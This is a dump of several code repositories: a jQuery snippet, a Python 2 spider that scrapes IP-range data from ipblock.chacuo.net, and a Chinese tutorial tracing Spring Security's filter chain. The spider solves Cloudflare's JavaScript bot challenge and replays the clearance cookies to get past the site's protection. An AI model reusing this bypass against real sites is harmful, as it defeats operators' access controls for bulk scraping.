DROP SEQUENCE s_access_token_id;
<file_sep>(jQuery(function ($) {
var historyDiv = $("#history_hover");
$(".show_tweet_history").mouseenter(function (event) {
var elem = $(event.target);
var historyPath = "/history/" + elem.attr("href");
$.get(historyPath, function (data) {
historyDiv.html(data);
historyDiv.show();
})
});
$(".show_tweet_history").mouseleave(function (event) {
historyDiv.hide();
});
}));
|
7634e63a4aaa83dc3c008ab77204e136db3e9be9
|
[
"Markdown",
"SQL",
"JavaScript",
"HTML"
] | 4
|
HTML
|
robertberry-zz/hotlist
|
f5c34917f0a70efe0348dfcdcbcab0b2ff08de4f
|
ab15d17e702ca2db9faee381a7db896c6618900b
|
refs/heads/master
|
<file_sep># ink.liunx
使用python脚本绕过浏览器安全检查抓取http://ipblock.chacuo.net的全球的IP段数据。
<file_sep>#-*- coding:utf-8 -*-
import logging
import sys
class IpUrlManager(object):
def __init__(self):
self.newipurls = set()
self.urlfile = None
#self.oldipurls = set()
def Is_has_ipurl(self):
return len(self.newipurls)!=0
def get_ipurl(self):
if len(self.newipurls)!=0:
new_ipurl = self.newipurls.pop()
#self.oldipurls.add(new_ipurl)
return new_ipurl
else:
return None
def download_ipurl(self,destpath,logobj):
try:
self.urlfile = open(destpath,'r')
iter_f = iter(self.urlfile)
lines = 0
for ipurl in iter_f:
lines = lines + 1
self.newipurls.add((ipurl.rstrip('\r\n')).lstrip('\xef\xbb\xbf'))
#print self.newipurls
#log记录读取了多少行IP url
#print lines
except IOError,e:
logobj.error("download ipurl is failed!catch exception: %s" % e)
finally:
if self.urlfile:
self.urlfile.close() <file_sep>#-*- coding:utf-8 -*-
#!/usr/bin/env python2.7
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import url_manager
import url_parse
import log_record
class SpidersMain(object):
def __init__(self):
self.urlmangerobj = url_manager.IpUrlManager()
self.urlparseobj = url_parse.UrlParse()
self.logrecordobj = log_record.LogRecord()
self.failurllst = []
def spidersipdata(self,urlpath):
logrecord = self.logrecordobj.GetLogObj()
self.urlmangerobj.download_ipurl(urlpath,logrecord)
count = 1
parseflag = 0
while self.urlmangerobj.Is_has_ipurl():
new_ipurl = self.urlmangerobj.get_ipurl()
#得到一个ipurl,接下来进行下载并解析
print new_ipurl
self.urlparseobj.set_ipurl(new_ipurl)
if count == 1 or parseflag == 1:
status_first = self.urlparseobj.ipdataparse(logrecord)#第一次获得cookies即可
if status_first == -2:
parseflag = 1
else:
parseflag = 0
else:
status_first = self.urlparseobj.ipdatarecevie(logrecord)#直接请求ip url
count = 2
if status_first == -1 or status_first == -2:
logrecord.error("new_ipurl = %s,first download is failed!fail url save." % new_ipurl)
self.failurllst.append(new_ipurl)
else:
logrecord.debug("new_ipurl = %s,download is success!" % new_ipurl)
# return None
#log 记录 url 下载成功
#对于失败的list重新request get
count = 1
while len(self.failurllst)!=0:
fail_ipurl = self.failurllst.pop()
print 'fail_ipurl=%s'% fail_ipurl
self.urlparseobj.set_ipurl(fail_ipurl)
status_second = self.urlparseobj.ipdataparse(logrecord)
if status_second == -1 or status_second == -2:
logrecord.error("for failipurl = %s,count %d download is failed!fail url save." % (fail_ipurl,count))
count = count + 1
if count < 235:#total 235 ip data
self.failurllst.append(fail_ipurl)#循环抓取失败的list
logrecord.warning('download ip data is success!')
'''if __name__ == "__main__":
import sys
print sys.path
spidersmain = SpidersMain()
print 'hello world'
urlpath = "ip_url.txt"
spidersmain.spidersipdata(urlpath)'''
<file_sep>#-*- coding:utf-8 -*-
import PyV8
import re
import time
import requests
from bs4 import BeautifulSoup
import ipdata_output
class UrlParse(object):
def __init__(self):
self.ipdataoutput = ipdata_output.IpdataOutput()
self.__ipurl = ""
self.__cookies = {}
self.__headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'}
#self.__proxies = {"http":"http://172.16.17.32:80","https":"http://172.16.31.10:3128"}
def set_ipurl(self,ipurl):
self.__ipurl = ipurl
def ipdataparse(self,logobj):
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'}
requesturl = "http://ipblock.chacuo.net/cdn-cgi/l/chk_jschl"
#访问首页时,接受服务器发送来的set-cookie中的__cfduif的cookie
s = requests.session()
try:
r = s.get(self.__ipurl,headers = headers,timeout = None)
except requests.RequestException,e:
#print e
logobj.error("first get request is failure!catch exception: %s" % e)
return -2
#print r.status_code
#logobj.debug("first get request statuscode = %d" % r.status_code)
#presetcookie = r.headers['set-cookie']
#sentcookie1st = dict(__cfduid = presetcookie.split(";")[0].split("=")[1])
sentcookie1st = dict(__cfduid = r.cookies['__cfduid'])
###########解析页面中的js代码,放到v8中执行##################################
soup = BeautifulSoup(r.text,'lxml')
pass_value = soup.find(attrs={'name': 'pass'}).get('value')
jschl_vc_value = soup.find(attrs={'name': 'jschl_vc'}).get('value')
#tempstr 存储以下形式的字符串
#rkJsjKz.KvWrlLpzwg-=!+[]+!![]+!![]+!![]+!![]+!![]+!![];rkJsjKz.KvWrlLpzwg*=+((!+[]+!![]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]));rkJsjKz.KvWrlLpzwg+=+((!+[]+!![]+!![]+!![]+[])+(!+[]+!![]+!![]));rkJsjKz.KvWrlLpzwg-=+((!+[]+!![]+!![]+[])+(+!![]))
tempstr =''
a = re.search('var s,t,o,p,b,r,e,a,k,i,n,g,f, (\w+)={"(\w+)":(.*)};',r.text)
dictname, key, value = a.group(1), a.group(2), a.group(3)
a = re.search(';(.*;)a\.value',r.text)
tempstr = dictname +'.'+key + '=' + value +";"+ a.group(1)
#进入v8
ctxt = PyV8.JSContext()
ctxt.enter()
#拼凑js代码
oo = "(function(){var "+ dictname + "={'"+ key +"':''};"+tempstr+"return "+dictname+"."+key+";})"
func = ctxt.eval(str(oo))
#对应a.value = parseInt(rkJsjKz.KvWrlLpzwg, 10) + t.length中的t.lendth也就是域名的长度
jschl_answer_value = str(func()+len("ipblock.chacuo.net"))
payload = {
'pass':<PASSWORD>,
'jschl_vc':jschl_vc_value,
'jschl_answer':jschl_answer_value,
}
#很关键,需要进行5秒钟休眠
time.sleep(5)
#allow_redirects = False不要让requests来自动处理302的跳转
try:
r = requests.get(requesturl,allow_redirects=False,cookies = sentcookie1st, headers= headers, params = payload ,timeout = None)
except requests.RequestException,e:
logobj.error("second get request is failure!catch exception: %s" % e)
return -2
#logobj.debug("second get request statuscode = %d" % r.status_code)
#print (r.status_code) #log记录状态码
#获取cf_clearance这个cookie
presetcookie = r.headers['set-cookie']
sentcookie2nd = {'cf_clearance':presetcookie.split(";")[0].split("=")[1]}
#请务必带上Referer header,因为url又会重定向为/view.C_XX
headers['Referer'] = 'http://ipblock.chacuo.net/view/'+self.__ipurl[-4:]
#print headers['Referer']
try:
r = requests.get(self.__ipurl,cookies = sentcookie2nd, headers = headers)
except requests.RequestException,e:
logobj.error("three get request is failure!catch exception: %s" % e)
return -2
#logobj.debug("three get request statuscode = %d" % r.status_code)
self.__cookies ={'__cfduid':sentcookie1st['__cfduid'],'cf_clearance':sentcookie2nd['cf_clearance']}
#print (r.status_code) log记录状态码
status = self.ipdataoutput.ipdatasave(r.content,self.__ipurl,logobj)
return status
def ipdatarecevie(self,logobj):
#请务必带上Referer header,因为url又会重定向为/view.C_XX
self.__headers['Referer'] = 'http://ipblock.chacuo.net/view/'+self.__ipurl[-4:]
try:
r = requests.get(self.__ipurl,cookies = self.__cookies, headers = self.__headers)
except requests.RequestException,e:
logobj.error("three get request is failure!catch exception: %s" % e)
return -1
#logobj.debug("some get request statuscode = %d" % r.status_code)
status = self.ipdataoutput.ipdatasave(r.content,self.__ipurl,logobj)
return status <file_sep>#import sys
#sys.pate.append('E:\\pythonproject\\Ipdata_spiders\\spiders_main')<file_sep>#-*- coding:utf-8 -*-
import sys
import spiders_main
spidersmain = spiders_main.SpidersMain()
urlpath = sys.path[0]+'/'+"ip_url.txt"
spidersmain.spidersipdata(urlpath)<file_sep>#-*- coding:utf-8 -*-
import logging
import sys
class LogRecord(object):
def __init__(self):
self.mylogger = logging.getLogger('iplog')
self.mylogger.setLevel(logging.WARNING)
#创建一个handler,用于写入日志文件
self.fn = logging.FileHandler(sys.path[0]+'/iplog.log','a')
#定义handler的输出格式formatter
self.formatter = logging.Formatter('%(asctime)s %(levelname)s %(filename)s[line:%(lineno)d] %(message)s')
#定义handler的输出格式
self.fn.setFormatter(self.formatter)
#给mylogger添加handler
self.mylogger.addHandler(self.fn)
def GetLogObj(self):
return self.mylogger<file_sep>#-*- coding:utf-8 -*-
import time
import platform
import datetime
import os
import codecs
from bs4 import BeautifulSoup
class IpdataOutput(object):
def __init__(self):
self.path = 'F:/OnlineIpDA/download/'
self.savefile = None
def ipdatasave(self,data_content,ipurl,logobj):
if data_content is None:
#log 记录解析失败
logobj.error("save ipdata is failed!catch exception: %s" % e)
return -1
soup = BeautifulSoup(data_content,'html.parser',from_encoding='utf-8')
datavalue = soup.find_all('pre')
if len(datavalue) == 0:
#print datavalue
logobj.error("ipurl=%s,parse pre tag failure,data_content[0:5]=%s." % (ipurl,data_content[0:5]))
return -1
#获取当前日期,创建文件夹
now = datetime.datetime.now()
strdate = now.strftime("%Y%m%d")
if os.path.exists(self.path+strdate) == False:
try:
os.mkdir(self.path+strdate)
except WindowsError,e:
logobj.error("catch exception: %s" % e)
return -1
#将IP数据写入磁盘
for data in datavalue:
try:
self.savefile = codecs.open(self.path+strdate+'/'+ipurl[-4:]+'.txt','wb','utf-8')
#print 'file open save'
if platform.system() == "Windows":
self.savefile.write((data.get_text().strip('\r\n')))
elif platform.system() == "Linux":
self.savefile.write((data.get_text().strip('\n')))
else:#for mac os
self.savefile.write((data.get_text().strip('\r')))
except IOError,e:
logobj.error("save ipdata is failed!catch exception: %s" % e)
finally:
if self.savefile:
self.savefile.close()
return 0
|
f2f56d39a1031fd81ffb277daff76860c807ec20
|
[
"Markdown",
"Python"
] | 8
|
Markdown
|
liunanxuan/python-ipdataspider
|
3f4b78bed80ff5975c5282ae6b1e69daf41eee88
|
5ecc9e84ab905bfa6c0b7fc7596299b5b25487c0
|
refs/heads/master
|
<file_sep>python -m test.list_events_test
python -m test.insert_test
python -m test.delete_event_test<file_sep>flask
slackclient>=1.1.0
pygments
google-api-python-client
oauth2client
pytz<file_sep>from googleapiclient.discovery import build
from httplib2 import Http
from oauth2client import file, client, tools
import logging
log = logging.getLogger(__name__)
# If modifying these scopes, delete the file token.json.
SCOPES = 'https://www.googleapis.com/auth/calendar.events'
# The file token.json stores the user's access and refresh tokens, and is
# created automatically when the authorization flow completes for the first
# time.
store = file.Storage('cal/token.json')
def build_calendar_service(cred_storage):
creds = cred_storage.get()
if not creds or creds.invalid:
flow = client.flow_from_clientsecrets('cal/credentials.json', SCOPES)
creds = tools.run_flow(flow, cred_storage)
service = build('calendar', 'v3', http=creds.authorize(Http()))
return service
def events_list(time_min, time_max, calendar_id):
service = build_calendar_service(store)
if time_min is not None:
time_min = time_min.isoformat()
log.warn('timeMin: %s', time_min)
if time_max is not None:
time_max = time_max.isoformat()
log.warn('timeMax: %s', time_max)
events_result = service.events().list(calendarId=calendar_id,
timeMax=time_max,
timeMin=time_min,
maxResults=10,
singleEvents=True,
orderBy='startTime').execute()
events = events_result.get('items', [])
return events
def events_insert(event, calendar_id):
# TODO event as a namedtuple
service = build_calendar_service(store)
event = service.events().insert(calendarId=calendar_id, body=event).execute()
return event
def events_delete(event_id, calendar_id):
service = build_calendar_service(store)
service.events().delete(calendarId=calendar_id, eventId=event_id).execute()
<file_sep>from cal.bkb_calendar import cancel_loan
CALENDAR_ID = 'primary'
def main():
cancel_loan(calendar_id=CALENDAR_ID, user_id='goobyson', event_id='9frr92o378irjisp8gt6h9j2co')
if __name__ == '__main__':
main()
<file_sep>import json
import requests
from pygments import lexers, formatters, highlight
from flask import Flask, request, make_response, Response
from bot.actions import handle_list_own_loans
app = Flask(__name__)
BOT_TOKEN = '<KEY>'
select_action = {
'text': 'Wat do u want?',
'channel': 'CBZNKNVJB',
'attachments': [
{
'text': 'Choose',
'callback_id': 'cargo_action_select',
'actions': [
{
'name': 'cargo_action',
'text': 'Nová výpůjčka',
'type': 'button',
'value': 'create_loan',
'style': 'primary',
},
{
'name': 'cargo_action',
'text': 'Přehled mých výpůjček',
'type': 'button',
'value': 'list_my_loans'
}
]
}
]
}
def pretty_print(a_json):
formatted_json = json.dumps(a_json, indent=2)
colorful_json = highlight(formatted_json, lexers.JsonLexer(), formatters.TerminalFormatter())
print(colorful_json)
@app.route("/event", methods=["POST"])
def handle_event():
print('handling /event')
payload = request.get_json()
pretty_print(payload)
if 'challenge' in payload:
challenge = payload['challenge']
return Response(challenge, mimetype='text/plain')
elif 'event' in payload:
event = payload['event']
type = event['type']
subtype = event.get('subtype')
print(subtype)
if type == 'message' and subtype not in {'bot_message', 'message_changed'}:
text = event['text']
print(f'received message: {text}')
resp = requests.post('https://slack.com/api/chat.postMessage',
data=json.dumps(select_action),
headers={'Content-type': 'application/json',
'Authorization': 'Bearer ' + BOT_TOKEN})
# print(resp.text)
return make_response()
@app.route("/interaction", methods=["POST"])
def handle_interaction():
print('handling /interaction')
# print(request.mimetype)
# print(request.form)
payload = json.loads(request.form.get('payload'))
del payload['original_message']
pretty_print(payload)
response_url = payload['response_url']
actions = payload['actions']
# FIXME: is this possible?
if len(actions) > 1:
raise ValueError("Unable to respond to more than 1 action")
action = actions[0]
action_name = action['name']
action_value = action['value']
# FIXME route now using action name and value
# FIXME hardwired routing
return handle_list_own_loans(response_url)
# Start the Flask server
if __name__ == "__main__":
app.run(port=8080, debug=True)
<file_sep>from datetime import datetime
from flask import make_response
import json
import requests
from cal.bkb_calendar import list_future_loans
# FIXME duplicated, hardwired
BOT_TOKEN = '<KEY>'
fegit_action = {
'text': 'Přehled výpůjček',
'attachments': []
}
def handle_list_own_loans(response_url):
events = list_future_loans('primary', 'goobyson')
attachments = [format_event(e) for e in events]
fegit_action['attachments'] = attachments
resp = requests.post(response_url,
data=json.dumps(fegit_action),
headers={'Content-type': 'application/json',
'Authorization': 'Bearer ' + BOT_TOKEN})
return make_response()
def format_event(event):
start = event['start'].get('dateTime', event['start'].get('date'))
end = event['end'].get('dateTime', event['start'].get('date'))
summary = event['summary']
event_id = event['id']
description = event.get('description')
start_datetime = parse_slack_datetime(start)
end_datetime = parse_slack_datetime(end)
# FIXME this is wrong
start_time = start_datetime.strftime('%H:%M')
end_time = end_datetime.strftime('%H:%M')
# FIXME wrong again
loan_date = start_datetime
time_range = f'{start_time} - {end_time}'
day_of_week_icon = get_day_of_week_icon_url(loan_date)
day_of_month_icon = get_day_of_month_icon_url(loan_date)
loanee_name = 'Gooby'
date_string = start_datetime.strftime('%A %d.%-m.')
message = {
'fallback': 'Ur a fegit Harry',
'author_name': date_string,
# "author_link": "http://flickr.com/bobby/",
"author_icon": 'https://ca.slack-edge.com/T5RD8J51D-U6S2C484S-3e70dc41db77-48',
"title": time_range,
# "title_link": "https://api.slack.com/",
"text": summary,
"fields": [
{
"title": "Kdo",
# "value": loanee_name,
"value": 'andrej',
"short": True
}
],
'thumb_url': day_of_month_icon,
'actions': [
{
"name": "loan_detail_action",
"text": "Změnit výpůjčku",
"type": "button",
"value": "edit_loan"
}
]
}
return message
def get_day_of_month_icon_url(datetime):
day_of_month = datetime.day
image_dir_url = 'https://img.icons8.com/ultraviolet/50/000000/'
return f'{image_dir_url}calendar-{day_of_month}.png'
def get_day_of_week_icon_url(datetime):
image_dir_url = 'https://img.icons8.com/ultraviolet/50/000000/'
urls = {
0: image_dir_url + 'monday.png',
1: image_dir_url + 'tuesday.png',
2: image_dir_url + 'wednesday.png',
3: image_dir_url + 'thursday.png',
4: image_dir_url + 'friday.png',
5: image_dir_url + 'saturday.png',
6: image_dir_url + 'sunday.png'
}
day_of_week = datetime.weekday()
return urls.get(day_of_week)
def parse_slack_datetime(datetime_str):
fix_tz = datetime_str[::-1].replace(':', '', 1)[::-1]
return datetime.strptime(fix_tz, '%Y-%m-%dT%H:%M:%S%z')
<file_sep>from collections import namedtuple
Loan = namedtuple('Loan', ['from', 'to', 'who', 'what'])<file_sep>from cal.bkb_calendar import list_future_loans
CALENDAR_ID = 'primary'
def main():
events = list_future_loans(CALENDAR_ID, 'goobyson')
if not events:
print('No upcoming events found.')
for event in events:
start = event['start'].get('dateTime', event['start'].get('date'))
end = event['end'].get('dateTime', event['start'].get('date'))
summary = event['summary']
event_id = event['id']
description = event.get('description')
event_pretty = f'[{event_id}] {start} - {end}: {summary}'
if description is not None:
event_pretty += f' - {description}'
print(event_pretty)
if __name__ == '__main__':
main()
<file_sep>from datetime import datetime, timedelta
from cal.calendar_api import events_list, events_insert, events_delete
from pytz import timezone
LOCAL_TZ = timezone('Europe/Prague')
def create_event(calendar_id, user_id, start_time, end_time, summary, description=None, loanee_email=None,
loanee_name=None,
location=None):
existing_events = list_events(calendar_id, start_time, end_time)
if len(existing_events) > 0:
# FIXME log?
return None
event = {
'summary': summary,
'description': description,
'start': {
'dateTime': start_time.isoformat()
},
'end': {
'dateTime': end_time.isoformat()
},
'extendedProperties': {
'private': {
'loanee_id': user_id
}
}
}
if description is not None:
event['description'] = description
if location is not None:
event['location'] = location
if loanee_email is not None:
loanee = {'email': loanee_email}
if loanee_name is not None:
loanee['displayName'] = loanee_name
event['atendees'] = [loanee]
return events_insert(event, calendar_id)
def list_events(calendar_id, time_min, time_max):
one_minute = timedelta(minutes=1)
time_min = time_min + one_minute
time_max = time_max - one_minute
return events_list(time_min, time_max, calendar_id)
def list_all_future_loans(calendar_id):
def has_any_loanee_id(event):
event_loanee_id = event.get('extendedProperties', {}).get('private', {}).get('loanee_id', None)
return bool(event_loanee_id)
now_in_cz = LOCAL_TZ.localize(datetime.now())
events = events_list(time_min=now_in_cz, time_max=None, calendar_id=calendar_id)
loans = [e for e in events if has_any_loanee_id(e)]
return loans
def list_future_loans(calendar_id, user_id):
def has_same_loanee_id(event, loanee_id):
event_loanee_id = event.get('extendedProperties', {}).get('private', {}).get('loanee_id', None)
if event_loanee_id is None:
return False
return event_loanee_id == loanee_id
now_in_cz = LOCAL_TZ.localize(datetime.now())
events = events_list(time_min=now_in_cz, time_max=None, calendar_id=calendar_id)
loans = [e for e in events if has_same_loanee_id(e, user_id)]
return loans
def cancel_loan(calendar_id, user_id, event_id):
user_loans = list_future_loans(calendar_id, user_id)
loan_to_delete = [event for event in user_loans if event['id'] == event_id]
if len(loan_to_delete) != 1:
raise Exception(f'Loan [{event_id}] does not exist or does not belong to user {user_id}')
events_delete(loan_to_delete[0]['id'], calendar_id)
def cancel_any_loan(calendar_id, event_id):
events_delete(event_id, calendar_id)
<file_sep>from datetime import datetime, timezone
from cal.bkb_calendar import create_event
from pytz import timezone
CALENDAR_ID = 'primary'
def main():
# logging.basicConfig(level=logging.DEBUG)
prg_tz = timezone('Europe/Prague')
start_time = prg_tz.localize(datetime(2018, 11, 21, 11, 0))
end_time = prg_tz.localize(datetime(2018, 11, 21, 12, 0))
summary = 'Fegit of the centuri'
event = create_event(CALENDAR_ID, 'goobyson', start_time, end_time, summary)
if event is not None:
print('Event [%s] created: %s' % (event.get('id'), event.get('htmlLink')))
else:
print('Could not create event.')
if __name__ == '__main__':
main()
|
f008898ed0975aad82dd351fb7f34e531fdaef45
|
[
"Markdown",
"Python",
"Text"
] | 10
|
Markdown
|
vladimirkroupa/bkb
|
86b61a6ca89cdfef36260ac63fa99928c57a19e9
|
ad594b262d3f4fce51e94d3ec510711937df0278
|
refs/heads/main
|
<repo_name>PopCandier/spring-security-demo<file_sep>/README.md
## Spring Security
### 写在前面
##### 基于Session的认证方式
在之前单体架构时代,我们认证成功之后会将信息存在Session中,然后响应给客户端的是对应的Session中的数据的key,客户端会将这个key存储在cookie中,之后的请求都会携带这个cookie中的信息。

相当于你携带了一张身份证,你每次访问服务器,我只要根据身份证上的信息和服务器后台比对成功,你就可以通过。
但是随着架构的演变,在项目很多的情况下,我们会选择分布式或者前后端分离,这样的情况下session的认证的方式就存在一些问题
* session的跨域问题,和session共享需要解决
* cookie存储的内容大小为4k
* cookie的有效范围是在当前域名下,所以在分布式环境下或者前后端分离的项目中不适用。
* 服务器存储了所有认证过的用户信息,一旦服务器宕机,会丢失所有的用户信息。
#### 基于Token的认证方式
相较于session对需求的兼容,基于Token的方式便是我们在挡下项目中处理认证和授权实现方式的首先了,Token的方式其实就是在用户认证成功后,就把用户的信息通过加密封装到Token中,在响应客户端的时候将Token信息传回客户端,当下一次请求到来的时候,在请求的Http请求head的Authentication中携带token。

一般来说,token可能还会携带超时时间之间的内容,让用户再次进行登录操作之类的。
由于token里面自带了用户的信息,所以我们可以将原本存储与session的内容压力均摊给客户端,这就相当于服务器发给你一张加密的身份证,类似上班的工作卡,只要你出示这个,你就一定是自己人。
#### SSO 和 OAuth2.0流程
略
#### SpringSecurity介绍
要去理解spring一个组件,我们只需要看看他是如何进入到IOC容器地即可。
我们首先用spring+springmvc+springscurity来看看,他最原始的集成方式是什么。在`SpringSecurityDemo.zip`可以查看更多。
我们先忽略其它的基础配置文件,来看最主要的Security的配置文件和web.xml。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:security="http://www.springframework.org/schema/security"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-4.2.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.2.xsd
http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.2.xsd
http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-4.2.xsd
http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-4.2.xsd">
<!--
auto-config="true" 表示自动加载SpringSecurity的配置文件
use-expressions="true" 使用Spring的EL表达式
-->
<security:http auto-config="true" use-expressions="true">
<security:intercept-url pattern="/login.jsp" access="permitAll()"></security:intercept-url>
<!--<security:intercept-url pattern="/login.do" access="permitAll()"></security:intercept-url>-->
<!--
拦截资源
pattern="/**" 拦截所有的资源
access="hasAnyRole('role1')" 表示只有role1这个角色可以访问资源
-->
<security:intercept-url pattern="/**" access="hasAnyRole('ROLE_USER')"></security:intercept-url>
<!--
配置认证信息
login-page="/login.jsp" 自定义的登录页面
login-processing-url="/login" security中处理登录的请求
default-target-url="/home.jsp" 默认的跳转地址
authentication-failure-url="/failure.jsp" 登录失败的跳转地址
<security:form-login
login-page="/login.jsp"
login-processing-url="/login"
default-target-url="/home.jsp"
authentication-failure-url="/failure.jsp"
/>-->
<!-- 配置退出的登录信息
<security:logout logout-url="/logout"
logout-success-url="/login.jsp" />
<security:csrf disabled="true"/>-->
</security:http>
<!-- 设置认证用户来源 noop:SpringSecurity中默认 密码验证是要加密的 noop表示不加密 -->
<security:authentication-manager>
<security:authentication-provider>
<security:user-service>
<security:user name="zhang" password="{<PASSWORD>" authorities="ROLE_USER"></security:user>
<security:user name="lisi" password="{<PASSWORD>" authorities="ROLE_ADMIN"></security:user>
</security:user-service>
</security:authentication-provider>
</security:authentication-manager>
</beans>
```
`web.xml`
```xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app version="2.5" id="WebApp_ID" xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<display-name>Archetype Created Web Application</display-name>
<!-- 初始化spring容器 -->
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<!-- post乱码过滤器 -->
<filter>
<filter-name>CharacterEncodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>utf-8</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>CharacterEncodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<!-- 前端控制器 -->
<servlet>
<servlet-name>dispatcherServletb</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<!-- contextConfigLocation不是必须的, 如果不配置contextConfigLocation,
springmvc的配置文件默认在:WEB-INF/servlet的name+"-servlet.xml" -->
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServletb</servlet-name>
<!-- 拦截所有请求jsp除外 -->
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- 配置过滤器链 springSecurityFilterChain名称固定-->
<filter>
<filter-name>springSecurityFilterChain</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
</filter>
<filter-mapping>
<filter-name>springSecurityFilterChain</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
```
首先,我们这个项目并没有配置任何数据库,也没有配置任何其它的界面,现在我们启动项目。可以看到这样的页面。

默认的用户名是`user`,而密码会在继承了Security模块的启动控制台随机生成一个`UUID`密码,这里springboot的方式,如果是我们这样的案例因为配置了用户名密码,且不加密的情况就是那个的密码。
```xml
<!-- 设置认证用户来源 noop:SpringSecurity中默认 密码验证是要加密的 noop表示不加密 -->
<security:authentication-manager>
<security:authentication-provider>
<security:user-service>
<security:user name="zhang" password="{<PASSWORD>" authorities="ROLE_USER"></security:user>
<security:user name="lisi" password="{<PASSWORD>" authorities="ROLE_ADMIN"></security:user>
</security:user-service>
</security:authentication-provider>
</security:authentication-manager>
```
以上其实就security的大概样子,但是在这里我们有三个东西要讨论。
* 系统启动SpringSecurity做了什么。
* 默认的认证界面是如何出来的
* 默认的认证流程是怎么实现的
不过在此之前,我们需要思考一个问题,既然是权限的认证,当我们请求某一个资源的时候,权限模块会验证我们是否是合法的,如果不合法会让我们进行登录流程,合法就放行。那么这个动作发生在**Filter**也就是过滤器的话是最合适的。

那么问题又来了,是在哪个Filter发生了权限的认证或者拦截的呢。这个时候我们想到了之前的`web.xml`的配置。
``` xml
<!-- 配置过滤器链 springSecurityFilterChain名称固定-->
<filter>
<filter-name>springSecurityFilterChain</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
</filter>
<filter-mapping>
<filter-name>springSecurityFilterChain</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
```
我们将上面的流程进行修改,其实就变成了这样。

**注意**,首先这个`DelegatingFilterProxy`的包路径是`org.springframework.web.filter.DelegatingFilterProxy`,也就是说他是spring框架中自带的,而不是SpringSecurity提供的。对于`DelegatingFilterProxy`,我们等会源码分析会详细说明,spring之所以会设计这样一个类,主要是通过spring容器来管理servlet filter的生命周期,还有就是如果filter中需要一些spring容器的实例,可以通过spring直接注入,另外读取一些配置文件的便利操作也刻意通过spring来配置实现。
很明显,现在这个xml文件的配置,利用的就是读取配置文件的操作来使用,并传入了一个不知道有什么意义的名字,`springSecurityFilterChain`。另外需要说明的是`DelegatingFilterProxy`继承自`GenericFilterBean`,在servlet容器启动的时候回执执行`GenericFilterBean`的`init`方法。
```java
public class DelegatingFilterProxy extends GenericFilterBean {
// ....
}
```
他的父类也是实现了很多spring内置地接口。
``` java
public abstract class GenericFilterBean implements Filter, BeanNameAware, EnvironmentAware, EnvironmentCapable, ServletContextAware, InitializingBean, DisposableBean {
//...
public final void init(FilterConfig filterConfig) throws ServletException {
Assert.notNull(filterConfig, "FilterConfig must not be null");
// ....
} catch (BeansException var6) {
String msg = "Failed to set bean properties on filter '" + filterConfig.getFilterName() + "': " + var6.getMessage();
this.logger.error(msg, var6);
throw new NestedServletException(msg, var6);
}
}
// 上面就是自带的初始化流程,这里是GenericFilterBean类留给子类的扩展用的。
this.initFilterBean();
if (this.logger.isDebugEnabled()) {
this.logger.debug("Filter '" + filterConfig.getFilterName() + "' configured for use");
}
}
//...
}
```
所以我们直接去看`DelegatingFilterProxy`的`initFilterBean`方法。
```java
protected void initFilterBean() throws ServletException {
synchronized(this.delegateMonitor) {
if (this.delegate == null) {
if (this.targetBeanName == null) {
// 这里的过滤器名字是通过父类的init方法,从Filter的init方法FilterConfig内容获得的,这里的名字就是我们之前在xml里面配置的springSecurityFilterChain
this.targetBeanName = this.getFilterName();
}
// 获取ioc容器
WebApplicationContext wac = this.findWebApplicationContext();
if (wac != null) {
//这里会获取一个代理进入
this.delegate = this.initDelegate(wac);
}
}
}
}
protected Filter initDelegate(WebApplicationContext wac) throws ServletException {
String targetBeanName = this.getTargetBeanName();
Assert.state(targetBeanName != null, "No target bean name set");
// 很明显,这里就是一个从ioc容器中获得对象的操作,beanName也说过了,就是springSecurityFilterChain
Filter delegate = (Filter)wac.getBean(targetBeanName, Filter.class);
//如果有生命周期在执行一遍初始化
if (this.isTargetFilterLifecycle()) {
delegate.init(this.getFilterConfig());
}
//返回对象
return delegate;
}
```
我们来通过**debug**来看看,到底从spring容器中获得了什么样的对象。

所以其实我们在`web.xmlp`里配置的`DelegatingFilterProxy`其实就是帮我们把beanName为`springSecurityFilterChain`其实实际对象叫`FilterChainProxy`的类持有在了成员变量`delegate`中,就是这样一个流程,之后的所有操作都由这个`delegate`执行。
